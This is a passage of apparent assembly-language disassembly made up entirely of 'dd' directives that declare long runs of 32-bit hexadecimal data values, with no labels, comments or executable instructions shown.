5BBB6F00h, 4EB0E202h, 37426095h dd 0A77BACC6h, 7AA56F0Ah, 1508C3A8h, 48F9952Dh, 0BD1FC20Fh dd 0DEB168E6h, 458D4D07h, 12826A8Eh, 0E3D880FCh, 0DF57652Ch dd 81D1C15Dh, 88A5A05Bh, 0A001EF58h, 0E03900B9h, 14C9352Fh dd 0F9073E86h, 4667A333h, 0A1F5A021h, 60669DC8h, 0CF48FA90h dd 0A1C7C5Eh, 0F898FFD8h, 7946162h, 47F4CE41h, 0E329A72Fh dd 0E3D8AECCh, 4C079169h, 0F209C3D3h, 8AA2F0F0h, 0FA7E0008h dd 392BE621h, 4B3F18CDh, 10C98059h, 9ED11D17h, 0D81E0255h dd 3C34EB03h, 0CC67860h, 162EE300h, 22617619h, 0DC9415BFh dd 1D81B210h, 2090E929h, 20020E2h, 0EF91AE3Dh, 4A1C0Bh dd 5027CF0Ah, 8F5C74A9h, 0E439C514h, 2D007D43h, 241C13CEh dd 150AD7h, 0C29BFB1Fh, 853C9444h, 0F0067900h, 0B04F6651h dd 48D3F6BEh, 29004CDBh, 5DEEFFC7h, 0AE3E84B4h, 0ECFC1840h dd 900C7C24h, 8E0FD48Eh, 51D612h, 904DAC9Dh, 73268C97h dd 3A0A8B1Fh, 6280D102h, 814B175Ah, 311400B5h, 0C047D8F6h dd 0B4146F2Dh, 0B26CE6h, 0DF51CEE4h, 2A21C217h, 7B05FA7h dd 0D5E926FBh, 0DB75A052h, 4A1EFD1Ch, 36C422CAh, 2080DE72h dd 18CD9EB3h, 7E8CD912h, 0E141D4h, 0BF4786h, 35AF7088h dd 0D1C31BC6h, 8A2FE604h, 64C03C09h, 0E25484h, 0A3649E39h dd 1F08220Dh, 65714418h, 0B86010h, 0C85DD958h, 892611CAh dd 4BBC0902h, 68973E19h, 3E131BF3h, 7A8C2514h, 0E781838Bh dd 6DB676A8h, 0F9353481h, 1202EE4h, 0D156BD9Ah, 0BAC22A1Ah dd 1FF8053Eh, 0B400C1B8h, 74012238h, 54F601ABh, 0E153D4ECh dd 0DD63015h, 25F40300h, 91964BAFh, 0E65E31CEh, 0F06DAD36h dd 0CD3E06EEh, 0A449003Eh, 0E4980DF6h, 5C9B00DEh, 9F67D956h dd 811FD54Ah, 0C6DD8B53h, 0A1E42582h, 715B6066h, 547F0Fh dd 18DDEF3h, 0CD4A22E5h, 1C75822Ch, 850063A8h, 38F72ACFh dd 7C40526Ah, 0FEF20197h, 0EBB8B294h, 0F824CC7h, 38C36424h dd 2ECB8BAh, 0A09BCDCFh, 95AEC815h, 6AAE4999h, 0BB14616h dd 46001F97h, 7C42E89h, 6F0E3DB8h, 0C0837DB2h, 5EF26EA1h dd 0F59914F6h, 0D207A501h, 50E26A39h, 334B9663h, 1EE76100h dd 0C97E54CBh, 0E5122602h, 5026FFh, 46AAA73Fh, 0EE3EA130h dd 6C00741Fh, 7F21B1A0h, 0DE6D3184h, 9DB5000Eh, 659CF4AAh dd 0A7449901h, 0FDD883F5h, 717D3181h, 805D7823h, 56D1DD33h dd 0FD16DEh, 4B1C07DFh, 6AEC2A8Ah, 99DBD49h, 0C62F4Eh dd 0B96E86D7h, 84DBB4CEh, 86B36CDEh, 0A40F4CE2h, 0E031998Eh dd 1C353FF1h, 0C5EE23h, 0D4251F10h, 0D51E1609h, 11033C0Bh dd 0F16E20E9h, 1F32Ch, 78E827FAh, 6EE65982h, 0DD528700h dd 0E38953D3h, 5DC35B81h, 6EB94F5h, 7228726h, 4A0C895Ch dd 14435C16h, 29238388h, 5096BB00h, 904352FCh, 5856F634h dd 0DA18F5DCh, 0C4832C8Bh, 0EC730473h, 0E1CDE3F7h, 592C03AFh dd 0E940464Bh, 8152CB01h, 7D24012Ch, 8F020E2Ah, 695E703h dd 7E8B5B08h, 0AAE566CFh, 40BB52C5h, 818B812Ch, 0E68956CAh dd 0DA0DC681h, 0E9003404h, 0FFFB71E3h, 2DB83800h, 307200Bh dd 1FE0F2C5h, 4321AAA1h, 50883A46h, 7E940DA0h, 70A6ED00h dd 0BAF31319h, 0FA683E71h, 0B6C74580h, 81AF0B23h, 4E156A0Fh dd 697880A8h, 10E40Ah, 399234E0h, 14E6E23Bh, 0D9A7AD03h dd 0F8BE9E62h, 0B5828h, 632224C2h, 0E2BD748Fh, 2511F300h dd 4B1B9475h, 65B800C3h, 38F690AAh, 1690ED1Ah, 0D0CD8A1Eh dd 1BDE2F1Fh, 30BCDAC0h, 2DA4236Eh, 2D6D60FFh, 60601C64h dd 4C029951h, 0FEE8AB70h, 4F8EF5B0h, 0F900430h, 0B7420281h dd 9DE250EAh, 0AEFEF685h, 7A809D9Eh, 3CCF6A96h, 75ECD04Fh dd 0F272920h, 0D8CB298Ch, 0C765B73Ah, 0BD2B0BB8h, 6E150ADh dd 0CFA65ABBh, 37D1A32h, 0A20DC52Fh, 890EA3CCh, 3C84D5FDh dd 0D17BF4E1h, 7C027697h, 1BC5B79Ch, 64B277AAh, 0AE4DAA9Dh dd 812ADC80h, 6ADAE0A6h, 0AFE8B5E9h, 0D6CCC725h, 0BE7EA579h dd 0F408562Dh, 89E47402h, 5528A585h, 0BFDC6BDCh, 0F7AFE730h dd 621BDA00h, 0BD33F595h, 0F6355B21h, 3019F2ECh, 0D02128Ah dd 0FF547B11h, 70A07BD1h, 6CB7BCD3h, 2939B5C4h, 70DE7BBAh dd 0D2EB9BC0h, 0B500A4BAh, 3F925FF4h, 5ED48060h, 0B5A0611Fh dd 61BC5245h, 0E48FD360h, 6A4BFC09h, 0C0BBED02h, 0EA90F9F6h dd 8D294805h, 75EA227Dh, 8FB2EFh, 6DCE6A5Fh, 0E4EF131Ah dd 694B0092h, 0EBDD5BBh, 66BE9D70h, 40D9B240h, 13F87A8Dh dd 0BE1D38B4h, 9DDCB04h, 0FA7ABFh, 31DF0B9Fh, 0FCC0BF8Ah dd 0E93413E8h, 0E2DEA862h, 0F5DE4AADh, 895BF309h, 3886ED70h dd 2FF546A1h, 41536813h, 0D624F6ADh, 7124495Eh, 0DB8FE4AFh dd 58883201h, 5B4A5F5Ch, 2926AC4h, 0F75BF50h, 0C8AE6E16h dd 6C57B7CBh, 0B503F238h, 0AED61776h, 0B3390E98h, 0CFC2D4F6h dd 0A057DE8Bh, 0A243EBC9h, 0BA7B4E2Bh, 2B97AE34h, 10805EABh dd 0B52D7712h, 856E2FE9h, 4DAC012Dh, 792950A2h, 1263007Fh dd 0DEA3234Ch, 0DD2A6D00h, 0E6D3FD29h, 9EC00492h, 0C04FB6B5h dd 0B0365289h, 0B4732095h, 1370E6F4h, 41F98D89h, 3171E4EAh dd 240AC995h, 0CD25B5D3h, 13935D1Fh, 0AB16BE97h, 0BD099E60h dd 2F284131h, 0BC2E8CDDh, 30AE97C1h, 35DDB5F4h, 16805180h dd 0B05B18E3h, 9DFC0922h, 0F9970D7Eh, 8DD49BBh, 0DA17E6EDh dd 0B30341BAh, 0A5C3E9F5h, 403F5427h, 0F675115Fh, 0E1FB3600h dd 0AE28350Ah, 7A1313F7h, 80F5AC60h, 3CE51A27h, 71120086h dd 112B5DCFh, 93015929h, 0D05E3A6Ah, 43780960h, 4D5061C9h dd 81DFC2B7h, 3379BDFCh, 9323EC2Ah, 0E0129E36h, 0DD1BD8Bh dd 0E2A23312h, 308FA52Ah, 311761E9h, 1A4F8DB5h, 3A8017B9h dd 91279CA7h, 48CE9F00h, 7AD3F14Ch, 1FCC00E4h, 606AFE42h dd 2C0AC081h, 982378AAh, 6AA8AA35h, 745CBFC0h, 8BB501ACh dd 962FD969h, 5164B6FCh, 16456B00h, 77169589h, 0E1291263h dd 8A3A0905h, 8A4716BDh, 0C0FA9BFAh, 0D868EE5Ah, 8E513C6Fh dd 348195D0h, 0AC531B0Bh, 6D3180FCh, 0B9D6D3h, 945FA69Fh dd 9124A712h, 88D2F395h, 199118EDh, 0F2EF8107h, 0EE33E5F0h dd 0F7C1519Eh, 3FFCC71Fh, 0CDAB28C5h, 2BFAE085h, 0CBDBD24Ah dd 0A822280h, 7FE95468h, 0BC6E428Dh, 4AEF4BEh, 52880D48h dd 5B7AA6B0h, 9861BA6Ch, 430E22C5h, 2884F053h, 796D0327h dd 5D9D33ECh, 0BD8EAFBCh, 68801288h, 6A19F9E1h, 0A0B500B8h dd 4FB926EFh, 0DF0C20E7h, 0B8AC1AFCh, 2FF19D0Dh, 7BEFA9E5h dd 0AD2A1338h, 8600F5E2h dd 0E62E16F4h, 6909B607h, 77B87838h, 0EFC21CCFh, 29A540A7h dd 0EC38B503h, 0FF2567B3h, 0C05FCDE1h, 576A0E37h, 56502D02h dd 0DEE46CD9h, 0AE301287h, 0EF47CCh, 79013164h, 0B634C0C8h dd 2B192800h, 18ACB4BDh, 4A8E24D9h, 4B351337h, 2D595FD1h dd 75046C42h, 0BF00DE3Dh, 947C5A27h, 99E50979h, 10770838h dd 935B1BFh, 66A0362Dh, 51C2895Dh, 0FCCABBDAh, 43FB105h dd 1707A2Ah, 8CC93F05h, 5960262Bh, 0BD13E1F5h, 6B3BBBCh dd 0A997CF8Eh, 0CCE824h, 5F5753F1h, 6C1EBB60h, 6220312Dh dd 0A4293564h, 91B4B17Eh, 8501000Dh, 0B59292DDh, 8BED8E0Bh dd 8D0179C0h, 9D0CBA09h, 3845EDBh, 2A3D119Dh, 15A004B6h dd 5E0996F6h, 77B44394h, 94E0116Fh, 50C996BBh, 0FF9D8DA5h dd 0AFD8004h, 574E9A6Fh, 9B3CB81h, 0D93AE43Bh, 0F824DB9Fh dd 5A5CE2E9h, 8F4CC0D4h, 0BA1769h, 2C1F16B7h, 0AC22A18Ah dd 87B46E02h, 0FF8D9052h, 940074BDh, 0C1364C97h, 390D2F4Ah dd 0D800E1FEh, 0BEDE0C68h, 16589589h, 61CBDEC5h, 7CF31CA0h dd 9B765A25h, 0AC582D8h, 0FAAB8931h, 52D395A7h, 0EB191859h dd 0DA999F99h, 0EF83CC77h, 0B7E922C2h, 0DF803C48h, 7FAF7D5Ah dd 65FE5FB5h, 1D7C81DBh, 6B746B25h, 31A309FFh, 9482965Fh dd 1005D4CBh, 0F3795A92h, 5D2E2B8h, 0AF2AEDC4h, 0B25F418Ah dd 6891685h, 77E045F6h, 1E01EDF3h, 0E176D44Ah, 0FDE5BB66h dd 0C81FDA3Ah, 0F1A2CF15h, 1C64850Fh, 164910B5h, 62DB0094h dd 0C9E21ED5h, 0AD057C09h, 2E454A89h, 0B772D3EEh, 25555B9Ah dd 84EACE8Eh, 5BF6AA38h, 2F7172E0h, 4DCC9B5Ah, 3DBD1629h dd 0F5E6FC1Fh, 65458Ch, 0F9684534h, 0F0E22F82h, 0BCD39300h dd 40CF3EA7h, 5FC213E3h, 832CBE50h, 58FE258Ah, 12DCF374h dd 0AE858D64h, 6B9028h, 0CF9E3AAAh, 0AD4039A0h, 57108502h dd 7556DA13h, 467F0CCAh, 71A0F6DBh, 0E51C00C6h, 0F02B76CEh dd 600BDBE2h, 0DCDE8BAAh, 0A9E4A7A5h, 0DF56EE04h, 0E299BF92h dd 0EBED5660h, 30296101h, 0B6B528C6h, 0D4659E12h, 6ACB7EBFh dd 2D8D0B74h, 16C40C59h, 0CC92A056h, 0DF013574h, 371D081Eh dd 0CA2E21E9h, 0C6E35BDBh, 9B2B12BAh, 0AAB807F9h, 0CD65CC01h dd 0FCBC9E4h, 17CA286Ah, 0AEE7045Eh, 0A98242A2h, 0CC9E0975h dd 2552882h, 40D813Dh, 0AEFD1331h, 0AA4DAC5Ah, 4E43B16h dd 0BB274537h, 0DA9699A2h, 41AD80C4h, 0F195C6h, 20E6C1BAh dd 5CCB8150h, 53AA1316h, 0F92D51A6h, 0D4BB0C6Eh, 0E94F50h dd 3F9A28E1h, 20F059F4h, 7625B5B4h, 0B8BE60E4h, 9200D3A9h dd 2CB6800Bh, 2EE67653h, 0A557FC1Fh, 776112DFh, 0C89D48D8h dd 16CFBFC0h, 0F97F033Fh, 0ACE580BEh, 0D4193Bh, 51CB2B9Fh dd 470ECA52h, 5B1DB713h, 0F790AABCh, 0F650DD25h, 0A643EDB7h dd 0FE9DD6F0h, 0F98A8BBCh, 0B682B679h, 0B02E48D0h, 9D5F56B9h dd 1A64814Dh, 4588E560h, 0CF176409h, 0CAB50223h, 2D25D6B4h dd 7DD830DBh, 8D312D21h, 7D038BD7h, 1A9C2A35h, 49004238h dd 90EC53A2h, 8AB5B007h, 4DE3434h, 29F4CF92h, 30F4AB66h dd 605C25B7h, 0F5729157h, 0A5CE8DF5h, 5EEA61E9h, 89D887Fh dd 0B5677052h, 55FC0C29h, 0BDBE12F4h, 0A39BBB29h, 0BBD3DCCFh dd 0F789DF62h, 0F3803C90h, 61ADA45Eh, 0DF89D8Fh, 3E0BBF50h dd 0A17FC7F0h, 0D9950131h, 0C548F92Eh, 5C13820Fh, 0D76D20BEh dd 0C74B198Ch, 841B24FBh, 6C49AE4Ah, 0D670D45Bh, 0C4011946h dd 21BBA73h, 0E4286A3Bh, 0DC8A8829h, 0BBD8F2BDh, 3B5F727Ch dd 0DCFF5AABh, 6F09F1C7h, 98663470h, 3DF3CA50h, 0E4805E36h dd 602ADE16h, 7A13D723h, 8EAE5B10h, 20BD5082h, 8D987650h dd 6EBB355Eh, 80A45D40h, 90939FCCh, 7B14B564h, 6AE17570h dd 0EFF0CEF6h, 0B05E716Dh, 0DA5E20A7h, 0CFB08135h, 45201A22h dd 67C689C1h, 5FE1B2C8h, 0ED09615Bh, 1EB65F16h, 40BAEDBDh dd 0A8E9A4F7h, 0FC07629Dh, 4CB5DCBFh, 336626CFh, 0C18B8922h dd 75CBE7CDh, 0EB81F0C8h, 7E2AE509h, 0A6C9713Dh, 0BB50008Bh dd 7B0532ACh, 0F02E7594h, 7243FC69h, 0BD15CC57h, 4D2DAB5Eh dd 0FE53EF24h, 0C2AB5834h, 0AC0C0AB9h, 201D257Dh, 5909B7FCh dd 0D4B1D414h, 9E28B8Eh, 891A61Dh, 5FE56D2h, 0C7473E6Ch dd 415F150Dh, 8AD78082h, 2D91996Ah, 69D4BF79h, 0BA6C4FF3h dd 47CE86Fh, 0B576F0DFh, 0C16EB8F9h, 24598D01h, 6E4C2D2Eh dd 1F0E426Ah, 4F23706Bh, 0C59BE734h, 21D1FFD1h, 51F57AABh dd 842EE62Bh, 4A400BE9h, 0A61F500Ch, 0F162DF09h, 6A990269h dd 0E068CD02h, 8B2208F5h, 3EC1FB4Bh, 6017BA9Ch, 55721B9h dd 0D42AD6BDh, 9B21456h, 0D47DE949h, 21877166h, 0A0906728h dd 4EC472Dh, 0BF49A384h, 6BF4BA09h, 41852629h, 0B557AF2Dh dd 0D8181791h, 0A20BAD93h, 0D66084CFh, 0F3816041h, 0D326B6DBh dd 0F508B64Ah, 90610B2Ah, 80D2E55Dh, 13389AC3h, 19253505h dd 718A09FEh, 2F70A537h, 5E4A1D80h, 51FC605Eh, 949737Dh dd 417674E7h, 5E252A5Eh, 0AD7FDCA5h, 827E2B3Ah, 38351AD7h dd 69D3DD34h, 2C481459h, 4B319733h, 0A0207E51h, 165BEBA2h dd 0EED8485Ah, 252B468Dh, 9030FF8Fh, 77D288DCh, 52D6BFC9h dd 0DBBFCABFh, 0D6FD8083h, 9D3A5B3h, 1B6BE8AEh, 0C7D8E885h dd 1632B4C0h, 0E61F1D30h, 33E5F626h, 0B5AEDE8Bh, 810033B2h dd 25FC79F7h, 72CC313Ah, 2811E44h, 36C298EFh, 987DB034h dd 5ACA539h, 0CDD457FBh, 0AF0C405Dh, 700196C3h, 8A8D3602h dd 575F5BFEh, 405D99EAh, 7F34DDF8h, 8952589h, 0E34A6CC6h dd 0ACA4F3F8h, 3DB5A066h, 604C840Dh, 8CC6C02Ah, 2EAC0DEh dd 6BE4B718h, 77C938C7h, 57B26B61h, 0C230ED10h, 555DB531h dd 15C6F7Ah, 0C0EBD38Dh, 5E98C712h, 6B92E930h, 657D8D09h dd 0BF852528h, 82498109h, 752E69EAh, 86268DD1h, 0FA3F6925h dd 80DBAC2Bh, 9A93E781h, 920E4BF5h, 0BD10254Bh, 563244E1h dd 5D60108Bh, 77602521h, 26FA7633h, 5184FF09h, 71610924h dd 259FA03Dh, 16DD21B1h, 0EC606767h, 0B92AB0DEh, 1116D196h dd 28BB6125h, 2042DD70h, 25807E40h, 40CC2DF3h, 0BF9B6020h dd 9BC0E8EDh, 9D89B2B4h, 8060ADC0h, 81CFC000h, 85445BE1h dd 0BF610515h, 8494470Fh, 0BC09A9DBh, 0C9F2417Fh, 41E96E05h dd 0BA67B9h, 0ED86A146h, 20558153h, 0D2A18C6Ah, 5A64B185h dd 2564C1B9h, 75B52429h, 91BD4327h, 87C50D4Ah, 4C4DC7EFh dd 225B713Ch, 0BB01DCE6h, 20672892h, 8C7E2BBAh, 0E2AB9714h dd 830FD208h, 7EBA4EB8h, 0CFAB49A3h, 4DD380C7h, 9048201Ch dd 2FB520C6h, 0AA71509Fh, 8171DD60h, 0BF5918F9h, 400FB26Eh dd 94171EBh, 99AFC104h, 11B602A1h, 79B2D375h, 74A05816h dd 0C3D6E326h, 6C56B513h, 0A21F8BABh, 0D8369014h, 0F07C978Bh dd 0FB252CA4h, 1DEA4A95h, 36EAD2F7h, 0DB12141Bh, 0D8EBE80Dh dd 0C42F5D2h, 8071DB4Fh, 2A0F23Dh, 0F1117C2h, 6718278Fh dd 560DBC87h, 6269F19Dh, 0BDF50552h, 0CCBB011Fh, 2EB757A4h dd 0D0404D28h, 0A538F95Bh, 1C268E4Bh, 7C2F04F7h, 0F72DDEA2h dd 0C4C0D687h, 96DBBA60h, 125FB789h, 15F424BFh, 884CB112h dd 28300912h, 895F9537h, 962E584Dh, 5F13DC34h, 92AEB7E9h dd 0D72AC539h, 2C1E1401h, 0B0C0BF5Ah, 841C4A0Ah, 6C7BBF55h dd 91D05500h, 0CE905D72h, 0D2F0BB18h, 9D33F1D8h, 21B99D4Eh dd 0E7820100h, 3899C63Dh dd 0CD04F1DBh, 0ABD28ED1h, 7DDE6922h, 906539F1h, 0F53AF1B1h dd 2AE3DEA9h, 8852EAD4h, 4F00CEE2h, 27411CC2h, 540382FCh dd 74C7E73Ch, 0DEE3C096h, 0BC51252Dh, 0AB0C8410h, 0F5026AFEh dd 5F463AC2h, 7373FF61h, 397C0370h, 3C82C2EFh, 8C63404Fh dd 1640C2E2h, 0DC95482Ch, 5100DE13h, 19BB803Dh, 952F75BDh dd 0BF02BF14h, 2AC47642h, 5D64150h, 0B866BB10h, 8B6FB570h dd 1E88E45Bh, 0FD2AEB8Dh, 0A157C080h, 81B1E5h, 3BDE090Bh dd 0F65FF8B3h, 873DD83Dh, 8B06E11Fh, 64B9B702h, 21BB0228h dd 5808D151h, 6700373h, 0F3B848D0h, 0E22AAD12h, 5A6BD387h dd 0E3F8B512h, 49BB0084h, 0E939F5D5h, 0BD027042h, 9DCDFF4h dd 0EF9D430Bh, 291242F4h, 0BDA02FECh, 74971499h, 5B8055BFh dd 471DC256h, 9D231A9Ch, 82DF5B85h, 2E26598Eh, 0B861CFE4h dd 0BD33C1BAh, 5A0A1EC1h, 0AF4F4EA3h, 0E250A37Fh, 84940B39h dd 3E370689h, 0D3D5E981h, 0A841901Eh, 54292D9Dh, 0BFA1B512h dd 6A2EEB39h, 31BE5FF4h, 2E379435h, 0BCFAA115h, 6EEE00C8h dd 0CCB5EC86h, 0CF4B5B1Eh, 0A9C15A12h, 0A81008E9h, 0D90403CEh dd 0ED71A0D7h, 0FB8B5EC1h, 2E5A892Fh, 0F95E496Eh, 9D2BC2A7h dd 0C02BCAADh, 2D9A2F14h, 98D72772h, 268F9EEh, 0DF29316Fh dd 0F4C68A0Fh, 60278342h, 0D2907348h, 1820F52Ch, 0FF9700DEh dd 4EE29511h, 812FCC86h, 27F2F618h, 53974452h, 295FF8A6h dd 5CC9EF0Bh, 35AB029Eh, 0F8900404h, 8675808Ah, 2F325779h dd 8151604Ch, 5879DC25h, 614E5857h, 0E35FE1FCh, 10562CA5h dd 4000DCA5h, 8D51ECA2h, 0BFA67F00h, 1957E6BEh, 20E24E28h dd 963B136Dh, 0CFD4490Bh, 0AA825F06h, 0DB7D5F58h, 0D69CAC49h dd 1EA95597h, 0F42ABB5Ch, 0D93AF39Dh, 1671819h, 643689C1h dd 2EFE8B0Eh, 0C43F5D29h, 90DBBE02h, 0ED7C7C0h, 0BF01F2CAh dd 1DAEE2F4h, 25A82CE9h, 0F90B4A4Dh, 0B4FCC10Ah, 7DE17F2Dh dd 0E54E3A2Fh, 8208AB08h, 0F1B50956h, 6B5B19C9h, 41E570B0h dd 0AF5F4534h, 7961C049h, 4EEC4743h, 0BC50A916h, 627E95A5h dd 1291DEC9h, 8D4BF313h, 0AD2B60B5h, 1277B8F4h, 4DA37E5h dd 0A8281D4Dh, 69E1B167h, 0CB095D3Ch, 62DF244Bh, 254D5CE7h dd 0C4DBDD5h, 397A620Eh, 4DF9275Ah, 0B69316BCh, 1E4F7A00h dd 4E559589h, 0F770BA03h, 8832A5BDh, 501D37B3h, 0E8B1DA8Ah dd 0DC2F9915h, 54EC966h, 985F0AB7h, 0D384881Fh, 0B097B7BFh dd 26CB7D5Bh, 677E3A33h, 0B30A03Eh, 2A0B0FEEh, 571BE467h dd 0BD48D84Dh, 80871E7h, 0BF0131C1h, 7D3AAE9Eh, 0C20EE36Bh dd 5CDBB70Fh, 8DB72DD7h, 0D978B07h, 0C1B80BD4h, 0A9DE8A17h dd 7F6BD271h, 0A2C70500h, 0BF121731h, 52456B0Bh, 8CA5C36h dd 0BD9F0669h, 6C4C2811h, 2BA9B55Ah, 7BEBF412h, 3DDD008Ah dd 0E3C92CB4h, 0BFB70995h, 5B5528B3h, 0B37978E8h, 0F92DB607h dd 0B921A55Dh, 8B3A820Fh, 2CEC5A13h, 0B8EFB9F5h, 0DB2F2F31h dd 504B0AD8h, 0F7FFD725h, 8F0078E6h, 3EFD426Ch, 4A0ECCC5h dd 3E3CC971h, 0CA039AACh, 24848F31h, 0F5A9F2C8h, 3E34F02h dd 0EA5F701Ch, 0CF2A40A7h, 0F9A75AF3h, 0D939AD53h, 955E728Bh dd 38AD1613h, 0AF4A5DD4h, 0B52A8929h, 0F16866EEh, 0D6E4DDDAh dd 50CB01F7h, 0F2FA1BFh, 37DBA50Ch, 52BB0385h, 0B7B03ABFh dd 0B0975B6Bh, 97ED9DFFh, 8FEF0E74h, 63B2D385h, 0AEC0C990h dd 30ABFD2h, 9500F9FEh, 1A752DBAh, 1210F14Bh, 0F3AADC63h dd 61AA4B51h, 2E212D4Ch, 243D82B6h, 6C929A81h, 3AB54F57h dd 4BF482E8h, 375F29CAh, 464CA723h, 0BFE7582Ch, 97EE114h dd 7906759Dh, 25EC2E35h, 4DA510C7h, 0C7A140C7h, 0FC05DB5Eh dd 304CD976h, 0F2CE73C1h, 950CF778h, 0BDDF1949h, 5E17AD59h dd 0EFA00BA7h, 0E822F8D3h, 0B1850009h, 0E23BFFA1h, 5A274984h dd 4EA97C2Bh, 87ECA8F6h, 56F001A0h, 26F7E3A3h, 0E8F52Eh dd 815BF9DAh, 6A5F8FC2h, 24A5F044h, 0E043B800h, 810C56D0h dd 0CC5CEE8h, 9D292F52h, 5F0775DAh, 0B966328Bh, 0EE81E180h dd 61902B4h, 79952973h, 0F6F87270h, 68F82D09h, 2ABD8E6Ch dd 7F020C24h, 0D14803DFh, 99BE0234h, 0DBFD9E23h, 32898B74h dd 37005BF9h, 6A7C10A4h, 0ADA50E2Dh, 1BC0FAD8h, 0F2978AD2h dd 0EAA1C207h, 133836Fh, 0E802284Ah, 945C001Fh, 49912999h dd 9707B60Dh, 89F0F88Eh, 837EEB51h, 5B77A0CBh, 5FDCB848h dd 9D1FD088h, 780E30E1h, 0E061419Ch, 9787C056h, 3A1F006h dd 0E84D441Ah, 76B02724h, 0E7728596h, 688B1C00h, 9109774Ch dd 1B4E0C15h, 5D387141h, 6574E83Ah, 0C016E11h, 2B594699h dd 614E5880h, 0D38FF05Bh, 146A9606h, 72840F4h, 8B41AA11h dd 91F15005h, 19C67BB6h, 789967BDh, 30F66E4Ch, 9AF23F40h dd 9508D4Eh, 2360ABA7h, 5D8105A8h, 9199009Eh, 1C7B2073h dd 900B271h, 8FE741C6h, 0C8158CCh, 4F7439FDh, 0B60C22B1h dd 20686E44h, 0E09D4114h, 0C8000EE7h, 562BA504h, 6091B372h dd 0EE41D93Ch, 0E8300A53h, 2240117Eh, 811C05D2h, 1EB1AF18h dd 98083014h, 4506575Eh, 3004DCBEh, 55E1C850h, 0B14B387h dd 0C9C87Ch, 7CF6BF68h, 0F7049B0Dh, 93182260h, 0E0CD17BCh dd 679A0C3Ah, 8F0840ECh, 876024F8h, 936AE6B8h, 7D1801C4h dd 0EA9D3A26h, 203BC88Ch, 4850ACF8h, 0EC1BC888h, 93881AD0h dd 186FBB8Bh, 900F1518h, 0E7187167h, 21C93E6Eh, 0BE5A0139h dd 0A7335C7h, 560998C0h, 1C418121h, 4045105Ah, 0B9251BE5h dd 44446E7Ah, 16337F47h, 0C501B1h, 0C49CFE66h, 0E603A4ECh dd 0F4F9BC67h, 0F555DB5Ch, 0C1718847h, 9A898B41h, 0C0771186h dd 0DA06C8FDh, 0CA18751Ch, 21A66008h, 0F7FDB8D5h, 0A1AD5F01h dd 3B6F51E6h, 361D8180h, 5BEC20FCh, 0F49B4E0Dh, 0E891F06Dh dd 5A3780E9h, 8C45C7BCh, 7F5744h, 9C905A3Fh, 0D96CD7F1h dd 7B4E8806h, 0A506670h, 1094F41Eh, 0F2C030ACh, 80F52104h dd 0E64622D8h, 0A293A5h, 71582787h, 6C122509h, 80814B00h dd 8C57491Ch, 3962003Eh, 3B28A161h, 1903CB9h, 9D956F0Fh dd 0C129A07Ah, 750923h, 0DA5E9668h, 0CC1284EBh, 1E925458h dd 0C58EF83Ah, 75BEA0A7h, 3A302h, 55BF3E46h, 0FBE661CCh dd 0E8599D00h, 5096A01Ch, 0DD9400EDh, 7271150Dh, 450064CFh dd 0F7ECD5EFh, 1F8974D1h, 40B22C10h, 8CA0D958h, 0F20FAF11h dd 0A00B936Dh, 12C3FE64h, 98F0FFh, 0BE8CD7B3h, 1C947433h dd 0F7CF5500h, 0DB904EE0h, 8EC50335h, 0E764A6ACh, 0C8BCF0A7h dd 0E10E16CFh, 0E639D071h, 6008B869h, 0C7A721FAh, 9B72AF16h dd 0CD00A690h, 71C56ED6h, 0A2C801h, 517B73FFh, 76D83339h dd 5A8FE606h, 33409C48h, 0E8496DCDh, 288E2038h, 80F1F590h dd 6463E618h, 0E45DBDA9h, 0EBA10F5Bh, 7D0326FFh, 107E5E1Dh dd 83B7B00h, 8F124C2Fh, 0C20E7ACh, 6F88C07Eh, 0F77FE6Ch dd 3693B500h, 10C8AD86h, 1EC407D3h, 0B0CBF30Ah, 0A202A779h dd 0AAC32700h, 0E83593D8h, 0E7090031h, 9296C4C5h, 0A3006BE4h dd 0CE1BA429h, 36CD826h, 0B8DEC6ACh, 7CA8E193h, 0BE286F0h dd 0CF4F3500h, 0D1C17871h, 542B005Eh, 51245975h, 813E61B9h dd 353E747Eh, 335B1D4Bh, 3067B300h, 746DCFC1h, 64D00A36h dd 1FC08280h, 612B0333h, 59E15522h, 0D018E138h, 0EC014981h dd 0D5E17F64h, 45E93B6h, 54C684EFh, 42ED20D0h, 0E2C13F62h dd 3E6CB500h, 0B1AAACB7h dd 11E72F00h, 0D15E8468h, 0C44E00AEh, 90D4B8Ch, 0D9005F81h dd 0EFD66BC2h, 1E9A3669h, 407BB71Ah, 0B6CAE65Bh, 427B1E53h dd 0A502050Fh, 0E910C072h, 0D8FD92h, 24A1138Ah, 44874220h dd 6E2A9901h, 0EE71250Dh, 0DF60F7F5h, 7821001Ch, 324BF067h dd 4E0E10A4h, 0A09CCE41h, 398A89C5h, 874A0303h, 0ABBB4CA6h dd 4442D600h, 0B3E25165h, 0A50A00D8h, 1ADEEB6Dh, 0FD143716h dd 3B849482h, 0D81E7050h, 700BC4A9h, 308700A2h, 0AE1748h dd 1BDB2B51h, 22E2657Ah, 0DFC0FB60h, 707AF40h, 64380872h dd 57A300D8h, 92CE4A2Dh, 1F872484h, 0B688A0h, 0D1FD688Eh dd 0CBBBF7E4h, 1A133C0Fh, 0B7E5402Eh, 71D4577h, 0BF01313Fh dd 4F8A70F5h, 0D4A8AD73h, 650066F0h, 1C2D1AEBh, 95D240h dd 5117FA42h, 444CC90Fh, 0A5C33Bh, 0FE338A28h, 560EA2h dd 9F2FB7EBh, 8FEA061Ah, 867E923Dh, 5DA8F641h, 3E2D14C8h dd 0BC4B0EFh, 0DB8E00E7h, 7C4E9A4Ah, 0ECFA9Dh, 4480B114h dd 0D9100104h, 2A58F0C7h, 15A483F1h, 4243C040h, 0D38B00C5h dd 92C48AD2h, 0C600CA73h, 0E3D635E4h, 0E26657A0h, 81A00EDh dd 4CFE5A78h, 19025383h, 0E5AD98C0h, 0B75048C8h, 8AD300FFh dd 97EDAABAh, 69004A96h, 84DFB494h, 4C28E7h, 0E4087406h dd 80203B7Dh, 427C0BFh, 40AF0022h, 43A6A92Ah, 4FE6B023h dd 0B69F981Dh, 0D6063580h, 9A8EE0h, 3BF80BDEh, 0AD268718h dd 12445A00h, 0EA7C2315h, 79E40013h, 4AF92A1Ch, 0FCEF778Eh dd 9724420Eh, 7839523Fh, 5B0F0200h, 55C83E9Fh, 2A97208h dd 4AABA8F1h, 0A4E06538h, 23B5964h, 273501D2h, 0BE9C320Dh dd 81C424h, 6A603097h, 0F7255BEBh, 76BD6E00h, 0EAB19F29h dd 0A6D03F1Dh, 9DCF1400h, 95AAC9D6h, 0A2C13E00h, 99B9468Dh dd 6E6D0088h, 643B7712h, 